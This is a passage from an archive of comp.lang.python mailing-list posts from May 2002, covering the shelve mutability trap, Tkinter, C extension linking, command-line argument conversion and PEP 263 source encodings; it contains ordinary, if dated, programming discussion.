and what parts of those apps Python was good for (and what parts it wasn't.) http://groups.google.com/groups?selm=mailman.1020849410.32598.python-list%40python.org Xavier Monsegur wants to found a New York City Python Users' Group. http://groups.google.com/groups?selm=mailman.1022044417.14752.python-list%40python.org Various folks try to cite the Python language in academic papers. http://groups.google.com/groups?selm=7BEH8.1252%24H67.7649%40tor-nn1.netcom.ca http://groups.google.com/groups?selm=mailman.1022297561.14994.python-list%40python.org http://groups.google.com/groups?selm=4L4I8.9196%24p56.2659365%40newsb.telia.net Mark Hadfield gets the md5 module to work on his Cray T3E. http://groups.google.com/groups?selm=acej75%24c0g%241%40newsreader.mailgate.org Not surprisingly, self.__foo-style private attributes don't interact well with __slots__, just as they didn't interact well with __getattr__ and __setattr__. This puzzles a new user. http://groups.google.com/groups?selm=Xns9218B57730E9cliechtigmxnet%4062.2.16.82 Damian Menscher wants to be able to display Numerical Python arrays in a more compact form. http://groups.google.com/groups?selm=awiH8.10159%24U7.121015%40vixen.cso.uiuc.edu Wenshan Du, the amazing guy who hacked Chinese language support into Python (so he didn't have to write variable names in English) a couple of weeks ago, has set up a new web site called "Python World". Most of the content is presently only in Simplified Chinese, but he plans to translate it. http://groups.google.com/groups?selm=e786d63d.0205262032.5f6182e4%40posting.google.com http://dohao.org/python/ William Dod? has set up a French-language Wiki about Python. http://wikipython.tuxfamily.org ======================================================================== Everything you want is probably one or two clicks away in these pages: Python.org's Python Language Website is the traditional center of Pythonia http://www.python.org Notice especially the master FAQ http://www.python.org/doc/FAQ.html PythonWare complements the digest you're reading with the daily python url http://www.pythonware.com/daily Mygale is a news-gathering webcrawler that specializes in (new) World-Wide Web articles related to Python. http://www.awaretek.com/nowak/mygale.html While cosmetically similar, Mygale and the Daily Python-URL are utterly different in their technologies and generally in their results. comp.lang.python.announce announces new Python software. Be sure to scan this newly-revitalized newsgroup at least weekly. http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce Michael Hudson continued Andrew Kuchling's marvelous tradition of summarizing action on the python-dev mailing list once every other week, into July 2001. Any volunteers to re-start this valuable series? http://starship.python.net/crew/mwh/summaries/ http://www.amk.ca/python/dev The Vaults of Parnassus ambitiously collect Python resources http://www.vex.net/~x/parnassus/ Much of Python's real work takes place on Special-Interest Group mailing lists http://www.python.org/sigs/ The Python Software Foundation has replaced the Python Consortium as an independent nexus of activity http://www.python.org/psf/ Cetus does much of the same http://www.cetus-links.org/oo_python.html Python FAQTS http://python.faqts.com/ The old Python "To-Do List" now lives principally in a SourceForge reincarnation. http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse http://python.sourceforge.net/peps/pep-0042.html The online Python Journal is posted at pythonjournal.cognizor.com. editor at pythonjournal.com and editor at pythonjournal.cognizor.com welcome submission of material that helps people's understanding of Python use, and offer Web presentation of your work. *Py: the Journal of the Python Language* http://www.pyzine.com Links2Go is a new semi-automated link collection; it's impressive what AI can generate http://www.links2go.com/search?search=python Tenth International Python Conference http://www.python10.org Archive probing tricks of the trade: http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100 http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.* Previous - (U)se the (R)esource, (L)uke! - messages are listed here: http://www.ddj.com/topics/pythonurl/ http://purl.org/thecliff/python/url.html (dormant) or http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python Suggestions/corrections for next week's posting are always welcome. [http://www.egroups.com/list/python-url-leads/ is hibernating. Just e-mail us ideas directly.] To receive a new issue of this posting in e-mail each Monday morning (approximately), ask to subscribe. Mention "Python-URL!". -- The Python-URL! Team-- Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and sponsor the "Python-URL!" project. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From pyth at devel.trillke.net Sat May 11 08:13:51 2002 From: pyth at devel.trillke.net (holger krekel) Date: Sat, 11 May 2002 14:13:51 +0200 Subject: Conditional compilation In-Reply-To: ; from jjl@pobox.com on Fri, May 10, 2002 at 11:14:12PM +0100 References: <3cdbb641_2@news3.newsgroups.com> <3CDBBC97.4D00043A@cascade-sys.com> Message-ID: <20020511141351.K25906@prim.han.de> John J. Lee wrote: > > """ and 'if 0:' are the standard possibilities. I guess one would > > need a truly developer oriented IDE to implement this indepently from > > language (handling say a all-included-file and a work-file separetely). > > > > Can't emacs or vi do folding/collapsing several lines into one line > > and allow writing out non-folded lines only? > [...] > > C-c # to comment, C-c rk to uncomment (kill rectangle, to be specific), in > emacs. thanks. but this doesn't do 'collapsing' several lines into temporary nothingness. holger From peter at engcorp.com Fri May 31 22:16:46 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 31 May 2002 22:16:46 -0400 Subject: Interfacing to 1-Wire LAN, especially Dallas temperature sensors? References: Message-ID: <3CF82E8E.23C6FA10@engcorp.com> Christian Aastorp wrote: > > I'm considering doing some temperature control and logging, both > enviromental and inside computers. Did a google search, and found > references to the range of temperature sensors from Dallas > Semiconductors. > > I also found schematics for interfacing with the serial port, and > timing diagrams for implementing 1-Wire Lan using direct control of > the port. > > As I'm using Python for my programming, these days, I would like some > pointers to modules or techniques to use Python to read the > temperature sensors. Although I have not tried it with Python, and I would never say something is impossible without more study, I am _fairly_ sure you cannot do this reliably with Python. The Dallas 1-Wire chips have protocol timing requirements somewhere down in the low _tens_ of microseconds. This requires some kind of real-time code and not only is Python itself unlikely to have high enough performance on almost any current machine, but the OS you're running it on is even less likely to support the necessary latency. We've been struggling just to get a 16MHz 68HC12 working with these things, without having to disable interrupts for hundreds of microseconds at a time. It hasn't been easy. It might be very instructive to try, however, and I'd be happy to hear somebody say they'd proven me wrong (and curious what was done to reach a solution). -Peter From bobx at linuxmail.org Fri May 10 17:24:05 2002 From: bobx at linuxmail.org (Bob X) Date: Fri, 10 May 2002 21:24:05 GMT Subject: Which GUI Library to Use References: Message-ID: David LeBlanc wrote: > > Has anyone mentioned FLTK or Fox as Python GUI's of interest? > > David LeBlanc > Seattle, WA USA > > > -----Original Message----- > > From: python-list-admin at python.org > > [mailto:python-list-admin at python.org]On Behalf Of Alex Martelli > > Sent: Friday, May 10, 2002 13:16 > > To: Fran?ois Pinard > > Cc: python-list at python.org > > Subject: Re: Which GUI Library to Use > > > > > > On Friday 10 May 2002 20:57, Fran?ois Pinard wrote: > > > [Alex Martelli] > > > > > > > IMHO, unless you have problems with the licenses or funding > > > > issues, Qt is a good choice. [...] Tkinter is OK [...] > > > > wxPython was OK [...] > > > > > > No opinion on `pygtk'? :-) > > > > Never used it, so, no experience, and no interest in remedying that > > in the foreseeable future. > > > > > > Alex > > > > > > -- > > http://mail.python.org/mailman/listinfo/python-list Far as I know Fox is no longer being maintained... Did someone pick that up and start developing it again? Bob From tjreedy at udel.edu Wed May 15 17:19:24 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 15 May 2002 21:19:24 GMT Subject: Page Hit Counter Vandalism & Writing FTP Results References: Message-ID: "Peter F. Ferris" wrote in message news:mailman.1021491928.31511.python-list at python.org... ... > Here's the deal: Someone (I know who, but...) is constantly "diddling" with > the page count for a departmental web page I've done. He likes to change the > counts to something fairly astronomical like, "932305709023" hits or > somesuch... The count itself is stored in a simple text file called > "default.asp.cnt" on the server. It's easy for him, with admin rights > to diddle the file. ... > The Crux of The Matter: is that gilded garbage is still garbage, and that gargage in means garbage out (gigo), and that any pretense at fixing willfully corrupted data is just that. So don't play that game. Either try to stop the vandalism (some technical possibilities: encrypt the data; send page hit packets to a more secure system) or find something better to do. >All help TRULY appreciated, If so, more is available. Terry J. Reedy From eaborges at hotmail.com Wed May 8 13:39:28 2002 From: eaborges at hotmail.com (Emanuel Borges) Date: 8 May 2002 10:39:28 -0700 Subject: sys.argv and while loop References: <3CD9376E.BEF43213@jpl.nasa.gov> Message-ID: Python 1.3.... Yiech! Anyway, your script isn't working because the parameter you're passing to it is coming in as a string and not an integer. You said that when you set orbits to 16 in the code it works. That's because you're setting it to an integer. When you do orbits = 16 it DOES work but instead try orbits = "16" and you will notice the same bug. So at some point in your code you will need to change orbits from a string to an integer. Like so... import sys, string count = 0 orbits = sys.argv[1] orbits = string.atoi(orbits) while count < orbits: print count, orbits count = count + 1 if count > 100: # use this to prevent the infinite loop it gets sys.exit ( 1 ) This should give you the result you're looking for... I didn't just do someone's homework, did I??? Emanuel Borges Julia Bell wrote in message news:<3CD9376E.BEF43213 at jpl.nasa.gov>... > Using Python 1.3 on an HP (UNIX) (to write my first Python script): > > In the following script, the while loop doesn't exit as expected if one > of the variables in the conditional is assigned to equal sys.argv[1]. > It works as expected if I explicitly set the variable to the number > (that is entered as the argument). > > (stored in executable myscript.py) > #!/usr/local2/bin/python > import sys > count = 0 > orbits = sys.argv[1] > while count < orbits: > print count, orbits > count = count + 1 > if count > 100: # use this to prevent the infinite loop it gets > into > sys.exit ( 1 ) > > The command line I use is: > myscript.py 16 > > The while loop does not exit when count becomes > 16 (until it hits the > "if" statement that I included to prevent the infinite loop). > If I replace the "orbits = sys.argv[1]" statement with "orbits = 16" and > run the script without the argument (but still importing sys), the while > loop does exit. > > How can I define orbits to equal the value of the command line argument > and later use that variable to simply represent the number? > > Julia Bell From marcus.schopen at uni-bielefeld.de Thu May 2 23:13:13 2002 From: marcus.schopen at uni-bielefeld.de (Marcus Schopen) Date: Fri, 03 May 2002 05:13:13 +0200 Subject: htmllib & do_meta question Message-ID: <3CD20049.920D6A91@uni-bielefeld.de> Hi, I use this for parsing a HTML File for META TAGS description and keywords. It seems to work fine. Did I miss something or is there a better way to do this? Thanks Marcus class WPage(htmllib.HTMLParser): def __init__(self, verbose=0): self.description = "" self.keywords = "" htmllib.HTMLParser.__init__(self, formatter.NullFormatter(), verbose) def do_meta(self, attributes): name = content = "" for key, value in attributes: if key == "name": name = value elif key == "content": content = value if string.lower(name) == "description": self.description = string.strip(content) elif string.lower(name) == "keywords": self.keywords = string.strip(content) file = open("test.html") html = file.read() file.close() p = WPage() p.feed(html) p.close() descr = p.description keys = p.keywords -- Petition for a Software Patent Free Europe http://petition.eurolinux.org From aleax at aleax.it Tue May 7 04:36:20 2002 From: aleax at aleax.it (Alex Martelli) Date: Tue, 07 May 2002 08:36:20 GMT Subject: survey: is shelve broken? should it be fixed? Message-ID: <8mMB8.12837$CN3.452004@news2.tin.it> Just checking if I'm the only one to feel that shelve seriosly violates the principle of least astonishment when you shelve modifiable values: [alex at lancelot Lib]$ python Python 2.2.1 (#1, Apr 15 2002, 17:55:14) [GCC 2.96 20000731 (Mandrake Linux 8.1 2.96-0.62mdk)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import shelve >>> s=shelve.open('ciao','c') >>> s['ciao']=range(4) >>> s['ciao'] [0, 1, 2, 3] >>> s['ciao'].append(23) >>> s['ciao'] [0, 1, 2, 3] The access to s['ciao'] returns a temporary and promptly forgets about it. The .append call is done on the temporary object and thus 'silently ignored' from the point of view of the shelf. I must have helped people out of this trap a dozen times (plus, fallen into it myself two or three times:-) -- Python so rarely violates the principle of least astonishment that it's *really* astonishing when it does:-). We probably can't change this default (mis-)behavior due to backward compatibility needs, but it wouldn't be too hard to at least give a simple _optional_ way out, even though off-by-default: >>> s.close() >>> s=shelve.open('ciao','c',smart=1) >>> s['ciao'] [0, 1, 2, 3] >>> s['ciao'].append(23) >>> s['ciao'] [0, 1, 2, 3, 23] >>> s.close() >>> s=shelve.open('ciao','c') >>> s['ciao'] [0, 1, 2, 3, 23] >>> http://sourceforge.net/tracker/index.php?func=detail&aid=553171&group_id=5470&atid=305470 is a Q&D fix enabling this optional smart=1 parameter (doing it the RIGHT way would no doubt involve weak references, but I didn't try that yet -- it takes a bit more care because the values may or may not be weakly referenceable etc, I'd guess). But, implementation issues apart, what do people think of the general issue of functionality and interface to it? Am I the only silly Pythonista who worries about this, and everybody else once they've learned the trap just deftly avoids shelving mutables or uses other workarounds (or eschews shelve altogether I guess:-)...? I think that having the 'smart=1' option in the docs would help people be _aware_ that the trap exists, and thus would be beneficial anyway. Maybe we should just document the trap, but, as fixing it (at least optionally) isn't that hard, that doesn't strike me as ideal. Opinions welcome -- that's why I called this a 'survey'. Thanks! Alex From max at alcyone.com Mon May 20 16:35:14 2002 From: max at alcyone.com (Erik Max Francis) Date: Mon, 20 May 2002 13:35:14 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58D54.BD046D02@alcyone.com> <3CE5E0D9.6B97951F@alcyone.com> Message-ID: <3CE95E02.BAC56F61@alcyone.com> Huaiyu Zhu wrote: > The solution appears to be: > - Allow mutable and immutable flavors of objects. > - Mutable objects are hashed by identity. > - Immutable objectas are hashed by content. > > No change would then hanve the undesirable effect you described. But then you can easily have collisions by value between the mutable and immutable objects. That doesn't seem like a very good implementation of a set. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From dsavitsk at e-coli.net Fri May 17 20:16:38 2002 From: dsavitsk at e-coli.net (dsavitsk) Date: Sat, 18 May 2002 00:16:38 GMT Subject: Two Tkinter questions References: Message-ID: as for the 2nd one, bind the scrollbar to a frame and place the text widgets therein. i can't help o the other as i quit tkinter a while back. -d "Mike Callahan" wrote in message news:MKhF8.27549$AU.39360 at sccrnsc02... > Question #1 > > I want a text widget to completely fill its space. I can do this in tkinter > using the pack geometery manager: > text.pack(fill='both', expand=1) > If I resize the window, the the text widget continues to fill the window, > however if I use grid: > text.grid(sticky='nsew') > the text widget stays the same size if I make the window larger. Can't grid > do the same thing that pack can do? > > Question #2 > > I want to make a horizontal scroll bar scroll two text widgets at the same > time. I know how to connect a scrollbar to a text widget, but is there a way > to connect one scrollbar to two widgets? > > Thanks, > Mike Callahan > > > From irmen at USENET_NOSPAM_REMOVETHISxs4all.nl Sun May 26 16:19:59 2002 From: irmen at USENET_NOSPAM_REMOVETHISxs4all.nl (Irmen de Jong) Date: Sun, 26 May 2002 22:19:59 +0200 Subject: Pickle trojan security issue, fixed? References: Message-ID: Irmen de Jong wrote: > However when I run it with python 2.1.1, i get this: Oops, that should have been 2.2.1. Irmen From skhilji at tampabay.rr.com Wed May 15 17:21:26 2002 From: skhilji at tampabay.rr.com (Salman Khilji) Date: Wed, 15 May 2002 21:21:26 GMT Subject: Embedded Python script debugger??? Message-ID: I am a Python newbie. I want to develop C++ <==> Python glue code using SWIG. Then I want to embed the Python interpreter in my C++ application (the main program is in my C++ application---I am not developing an extension---rather want to embed the interpreter in my application). I then want to let the user run scripts using some sort of a menu allowing Python as a built-in scripting language of the application. The application will expose a lot of its functionaility to Python (the internel data structures will be modifyable by Python so that the power-users can do almost anything in the aplication using the script instead of using the GUI) The problem is that users will want to run the scripts in debug mode---stepping line by line---stepping into, out etc. I looked at Komodo. Its lets you do this by adding the line: callkomodo.brk('localhost', 9000) in your Python script right before where you want to break. Komodo then listens for debug requests on a port # 9000. When the users has Komodo up and running, the user can run a script using some dialog box in the application and Komodo would gladly kick in the middle of the python script allowing you to run the script in debug mode. Well Komodo is nice, but isn't there a free open source alternative?? Can IDLE do this?? I prefer open-source and free software even for commercial applications. Salman From sayles at cpsc.ucalgary.ca Wed May 29 17:50:55 2002 From: sayles at cpsc.ucalgary.ca (Maxwell Sayles) Date: Wed, 29 May 2002 15:50:55 -0600 Subject: C Extensions: calling across extensions Message-ID: <3CF54D3F.71CA58A9@cpsc.ucalgary.ca> I have two C Extension modules written for python. Within one module I want to create an instance of an object within another module. Say the modules are named A and B. Within A I have a creation method that looks something like: PyObject* A_new (int param) { AType* self = PyObject_New (AType, &AType_definition); self->param = param; return (PyObject*)self; } within B i try to create an instance of AType like: PyObject* A_new (int param); PyObject* somefunction (PyObject* self, PyObject* args) { PyObject* p = A_new (5); return p; } both of these functions are in seperate modules in seperate .so files (linux). I can import module A and everything works perfectly. when i import module B i get the error: Import Error: ./B.so: undefined symbol: A_new i compile both with gcc -shared -o A.so A.c gcc -shared -o B.so B.c do i need to do special declarations for importing and exporting functions across shared objects for python extension modules? do i need to compile with a -l option? any help would be appreciated. thanks, Maxwell Sayles From akhar at videotron.ca Sat May 11 20:20:55 2002 From: akhar at videotron.ca (akhar) Date: Sat, 11 May 2002 17:20:55 -0700 Subject: jython Message-ID: I have been reading up on jython, but articles about it are quite rare and/or old, has there been any significant improvement on jython speed? and can I presume that with jythonc my scripts can get a boost hence running at java speed? where can I find recent articles or sites (except jython.org) about jython? From owen at nospam.invalid Thu May 30 14:11:25 2002 From: owen at nospam.invalid (Russell E. Owen) Date: Thu, 30 May 2002 11:11:25 -0700 Subject: Tkinter question (reposted) References: Message-ID: In article , "Michael Bauers" wrote: >The online docs had a code snippet that was not working as shown. I had to >remove the 'event' parameter from the callback 'cb'. Did I mess up, or is >this a matter of version differences between the doc, and Python 2.2? > >My modified def line looked like: > def cb(self) > >This is what was in the docs: > >def __init__(self, master): > self.var = IntVar() > c = Checkbutton(master, text="Enable Tab", > variable=self.var, command=self.cb) > c.pack() > > def cb(self, event): > print "variable is", self.var.get() The example you copied was apparently in error. This is a common problem. Tkinter sends the event to callbacks that are fired by binding events to widgets. it does NOT send the event parameter for callbacks that are fired directly by widgets (using the "command" parameter to specify the callback). This inconsistency is a pity; not only is it confusing, but the event info would often be useful. -- Russell From fredrik at pythonware.com Tue May 7 03:22:20 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 07 May 2002 07:22:20 GMT Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) References: <3CD7150E.E7D3DC76@engcorp.com> Message-ID: Peter Hansen wrote: > One thing that occurred to me was that the Perl code had a > very high number of "transitions" between punctuation and text. also see: http://www.zooko.com/shootout-compress.html From tdelaney at avaya.com Tue May 7 22:34:03 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Wed, 8 May 2002 12:34:03 +1000 Subject: extraneous import statements needed Message-ID: > From: Jeff Davis [mailto:jdavis at empires.org] > > I created a module that is essentially one big class. At the > top I have a > group of import statements (outside the class). Within my > methods I call > functions such as string.split(). However, I get strage error > messages > about "type None does not have attribute split" or something similar > (always thinks that the module name is instead a None object). Check if anywhere you are assigning to "string" ... Tim Delaney From peter at engcorp.com Sun May 26 15:39:00 2002 From: peter at engcorp.com (Peter Hansen) Date: Sun, 26 May 2002 15:39:00 -0400 Subject: Problem building PySQLite under Windows References: <1maI8.88345$CN3.2584829@news2.tin.it> Message-ID: <3CF139D4.7A6692C3@engcorp.com> Max wrote: > > Hi everybody. > I'm playing with PySQLite, but i can't build or install it. > I use Python 2.2.1 on win32 (Windows XP Pro), and PySQLite 0.1.2. > The error i receive is the following (i have no "cl.exe" anywhere in my HD. > Is this a "c" compiler, i suppose...?) MS C++ 6.0 I think. I believe there's a freebie version of the non-professional one (with optimization), but you're better off finding a pre-built executable I think. -Peter From stojek at part-gmbh.de Fri May 10 09:05:46 2002 From: stojek at part-gmbh.de (Marcus Stojek) Date: Fri, 10 May 2002 13:05:46 GMT Subject: writing binary file for different platform Message-ID: <3cdbc406.16463125@news.easynews.net> Hi, I have to write a binary file that will be read by a FORTRAN routine. This is no problem if writing the file and reading with FORTRAN is done on the same platform (Windows im my case). Now I have to prepare such a binary file on my Win system that will be read on an IBM machine (IBM AIX 4.3.3.25) >From the doc I guess that I have to add a character to the format string (e.g. '<' or '>' ). If this is correct then please could someone tell me which one. If not then what else can i do ? Thanks in advance, Marcus #-------------------------------- import struct i=1 x=1.5 y=2.3 z=-0.2 fa=open(outfile,"wb") fa.write("%s"%(struct.pack("ifff",i,x,y,z))) fa.close() From aleax at aleax.it Mon May 6 03:44:06 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 06 May 2002 07:44:06 GMT Subject: Creating C modules for Python under Cygwin References: <3CD41CC4.5752F30C@wag.caltech.edu> <6DoB8.89183$o66.280563@news-server.bigpond.net.au> Message-ID: Martin v. Loewis wrote: > Alex Martelli writes: > >> Yes, that's good motivation -- any EXE needs a further process > > Now I wonder if this is fact: Are you sure you cannot LoadLibrary a .exe? LoadLibrary used to be specified to work only for DLL's , but that changed in reasonably recent platform SDK's -- now the docs do say "executable module (either a .dll or .exe file)", *BUT*. The results of LoadLibrary applied to an .exe CANNOT be used (according to the docs: there is AFAIK no guarantee that it may not happen to 'work by accident' in any one specific case) to RUN code in an exe. I quote: """ LoadLibrary can also be used to map other executable modules. For example, the function can specify an .exe file to get a handle that can be used in FindResource or LoadResource. However, do not use LoadLibrary to run an .exe file, use the CreateProcess function. """ The specs of LoadLibraryEx are somewhat murkier, but I read them as not reliably allowing "running code" within the EXE either. Alex From jb at cascade-sys.com Sat May 4 19:37:39 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Sat, 04 May 2002 16:37:39 -0700 Subject: making python scripts backwards compatible References: <008401c1f3a8$63eebc50$445d4540@Dell2> Message-ID: <3CD470C3.AC12D547@cascade-sys.com> Brian Quinlan wrote: > > So the request is this: > > > > If you write code that could be used by people or systems > > based on python 1.5.2 please make sure your code is > > backwards compatible to 1.5.2. If that is too much work, > > please mention the python version you need to use it > > somewhere in the top of your source. Especially for > > networking software. > > This is a completely unreasonable request, I beg to differ. Rather his request is quite reasonable. He merely asks to maintain backward compatibility OR (!) be sure to document your version requirements at the top of your source. How can any reasonable person disagree? Only if he insisted on just the first half of his request would he then, arguably, be asking too much. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From bokr at oz.net Sun May 12 16:23:28 2002 From: bokr at oz.net (Bengt Richter) Date: 12 May 2002 20:23:28 GMT Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: Message-ID: On 11 May 2002 15:41:20 +0200, martin at v.loewis.de (Martin v. Loewis) wrote: >Robin Becker writes: [...] > >> As for the PEP itself the only snag seems to me to be the BOM + comment >> problem. If I change the BOM by hitting saveAs myWeirdEncoding the file >> is a dead python unless I also change the comment (or is that an issue >> only with utf8 at present?). > >I'm not sure I understand the problem. If you do saveAs >myWeirdEncoding, there won't be a BOM in the file unless >myWeirdEncoding is UTF-8. If there are multiple conflicting encoding >specifications in a file, the file is in error. > I think Robin is alluding to something like the problem of an encoding-conversion save-as export filter utility fed with a script with a given encoding and containing a magic comment. If the utility is not magic-comment-syntax-aware and able to change the comment to reflect the new encoding, there would be a problem to fix manually. ISTM mixing meta-data and data in an ad-hoc way is not good, and encoding is meta-data w.r.t. the file it describes. Even the UTF BOM is IMO really a compromise forced by the fact that most file systems do not support user-extended meta-data storage. Of course file extensions have effectively become keys into a database of meta-data for windows files, but that is a kind of name space abuse IMO, however expedient. Of course, the UTF BOM can be looked on as a kind of packet header, and the rest of the file as the packet body. If packet headers were standardized, this could be a generic packet file, and decoded as such. Other packet headers would include supporting meta-data and then be followed by the packet body. A file would be a sequence of zero or more packets. Perhaps unicode could be a gateway to a universal format for packetized files, if you reserved one code page for packet headers and their metadata. Detecting that code page would then be sufficient to trigger interpretation of the file as packets each composed of headers and data. Some packet types would of course allow and expect nested packets in their data. Others might contain XML or .exe or .so or whatever. Some kind of registry of packet types analogous to UPC codes would have to exist to maintain standards. Life for the 'file' command implementers would be simplified a lot. You could do something like packet headers sor Python scripts by a command line parameter that specifies n lines of 'packet-header' meta-data after the initial #! line. (I think someone suggested something like that). When a single file encoding is replaced by multiple possible encodings in a system, there is the problem of dealing with a mix, where it may not be feasible to modify the old encodings to mark them. E.g., binary executable files are also encoded files, and in windows .PIF files were (I assume) invented to carry meta-data necessary to run DOS files with default vs special parameters to define the virtual DOS environment to use. It would be possible for new Python interpreters to look for e.g., .pyf meta-data files before using .py or .pyc files. Such files would be optional, and serve a purpose analogous to .pif files. They could also specify interpreter versions and special imports that should be in effect, making a kind of script closure, to think of it another way. It is tempting to mandate UTF-8 encoding for .pyf files, but perhaps they should be least-common-denominator-encoded, e.g., ascii. If/when a file system is available that supports user meta-data, the .pyf contents could optionally be represented that way when using that file system. If you want to use magic strings in comments, you are really altering the grammar of the language IMO, and maybe it should be defined in the grammar and parsed. While you're at it, might as well define some syntax for external supporting document linkage, and ways to use it programmatically, e.g. via some generated module attribute, so you could kick off external help from an exception handler etc. .pyf files could coexist with UTF-8 BOM detection and a warning be issued if an encoding were specified that conflicted. I'm sure someone could write an emacs macro to write .pyf files along with .py files as required. I mentioned some variant of this idea in the past, and an objection then was that the meta-data could get separated from the associated script file too easily. But separation also has virtues. You can have separate access permissions on separate files, and you can describe a file to which you only have read-only network access (e.g. by including remote file location info in the local .pyf). Regards, Bengt Richter From dalke at dalkescientific.com Fri May 10 22:29:04 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Fri, 10 May 2002 20:29:04 -0600 Subject: "a better input" References: <100520021026067657%pecora@anvil.nrl.navy.mil> <20020511135248.4b3a192e.larooy@xtar.co.nz> Message-ID: John La Rooy: >Speaking of which, does this make *sense* ? > >>>> l=[] >>>> l+=(1,2) >>>> l=l+(3,4) >Traceback (most recent call last): > File "", line 1, in ? >TypeError: can only concatenate list (not "tuple") to list Does this make sense? >>> l = [] >>> l.extend("test") >>> l ['t', 'e', 's', 't'] >>> l += "ing" >>> l ['t', 'e', 's', 't', 'i', 'n', 'g'] >>> l + " 1, 2, 3" Traceback (most recent call last): File "", line 1, in ? TypeError: can only concatenate list (not "str") to list >>> Given [1, 2] + (3, 4) and (1, 2) + [3, 4], what should the return type be? []? or ()? Given [1, 2] += (3, 4) this question doesn't arise. += is the same as extend, and both take an iterable object. But yes, it did seem strange to me when you wrote it side-by-side like that. Andrew dalke at dalkescientific.com From aleax at aleax.it Wed May 1 10:58:21 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 01 May 2002 14:58:21 GMT Subject: Python vs. Perl, which is better to learn? References: <826628efe5.fsf@acropolis.localdomain> <9F74AA1B18A57488.23FAAF6892B1E10D.AAAE27FF654FB148@lp.airnews.net> Message-ID: Cameron Laird wrote: ... > number of engineers seem to have big emotional > reactions to syntactic differences that are > superficial in any language-theoretic sense: > significant white-space, variable markers, Sorry, but I cannot agree that "variable markers" (stropping of names to indicate role) is "superficial in any language-theoretic sense". In Python, any name (simple or compound) can refer to any kind of object, and knowing about such 'kind' issues is the role of the object (not of the name, not of the compiler, not necessarily of the programmer). This IS a deep difference wrt a language where the programmer must annotate (e.g., strop) names to tell the compiler about what kind of object they "contain" (or "refer to", but Perl has value-semantics as its basis, not reference semantics like Python), explicitly annotate referencing and dereferencing as well, and so on. It may or may not be worth superficially learning both Perl and Python before going in depth into either (if it is, then I think Ruby should also be in the mix). But "variable markers" are still quite a deep difference. Alex From fperez528 at yahoo.com Thu May 2 15:51:40 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Thu, 02 May 2002 13:51:40 -0600 Subject: Perl-like backtick in Python References: Message-ID: Tom Verbeure wrote: > Hi All, > > In Perl i can do something like this: > > $str = `cat myfile.in`; > > Basically the string that is surrounded by the backticks is executed > by a shell and the stdout is returned as a string. > > In the python library, there is spawn*, exec* and system, but the > return the exit status of the command, not the output. Any suggestions > about who to do this? > > Thanks, > Tom These are my two mini-idioms to do that conveniently (import modules as needed: os, commands). def xsys(cmd,verbose=0,debug=0,head=''): """Execute a system command, but optionally print it. With debug=1, only prints.""" stat = 0 if verbose or debug: print head+cmd if not debug: stat = os.system(cmd) return stat def bq(cmd,verbose=0,debug=0,head=''): """Dummy substitute for perl's backquotes. Executes a command and returns the output. Accepts same arguments as xsys. """ if verbose or debug: print head+cmd if not debug: output = commands.getoutput(cmd) return output Cheers, f. From marklists at mceahern.com Wed May 15 13:49:49 2002 From: marklists at mceahern.com (Mark McEahern) Date: Wed, 15 May 2002 12:49:49 -0500 Subject: getting name of the function you're in In-Reply-To: <3CE295FF.2020202@packeteer.com> Message-ID: [Bob Purvy] > Subject: getting name of the function you're in > > does anyone know how to do this? This is a frequently asked question: http://groups.google.com/groups?hl=en&q=current+function+name+python In addition, you'll be delighted to know that this simple google query: http://www.google.com/search?hl=en&q=current+function+name+python returns this simple recipe, which seems to answer your question: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/66062 Cheers, // mark From kragen at pobox.com Fri May 17 03:23:02 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 17 May 2002 03:23:02 -0400 Subject: Zaurus and Python, a good combination References: Message-ID: <834rh7xmp5.fsf@panacea.canonical.org> "David LeBlanc" writes: > Hmmm.. good to know about the stowaway - i've been considering picking one > up, especially now that there's an iPaq 3800 version. > > Have you considered tkinter on iPaq? After all, tcl, and more importantly, > tk have been ported to ppc. > > I really have to get across town and pick up my ppc dev tools The iPaq and Zaurus use ARM, not PPC. I don't think there's a PPC that stingy with power. From bruce_dodson at bigfoot.com Tue May 7 23:10:45 2002 From: bruce_dodson at bigfoot.com (Bruce Dodson) Date: Wed, 8 May 2002 00:10:45 -0300 Subject: Python DLL Woes References: Message-ID: <%G0C8.10841$Z6.88935@nnrp1.uunet.ca> Welcome to DLL Hell! If you are getting to the point where you see that message, you almost certainly exported the Python function correctly through a module, e.g. using Py_InitModule with a method table. Then the problem might be that it can find and load the module from the extension DLL, but can't find and/or load SlgxApi.dll. Where is SlgxApi.dll in relation to the Python shell that was running your Python test script? Where was it in relation to the C++ test program that was executing the "native" test? "Rajat Chopra" wrote in message news:d9773b18.0205071014.51daaed0 at posting.google.com... > Hello, > > I have a DLL with some functions that allow me to connect to a database > and issue queries and so forth. The DLL itself is written in C++ and I > have written code in C++ (and C) to utilize the functions within the DLL > to connect & manipulate the database. > > I have a need to wrap 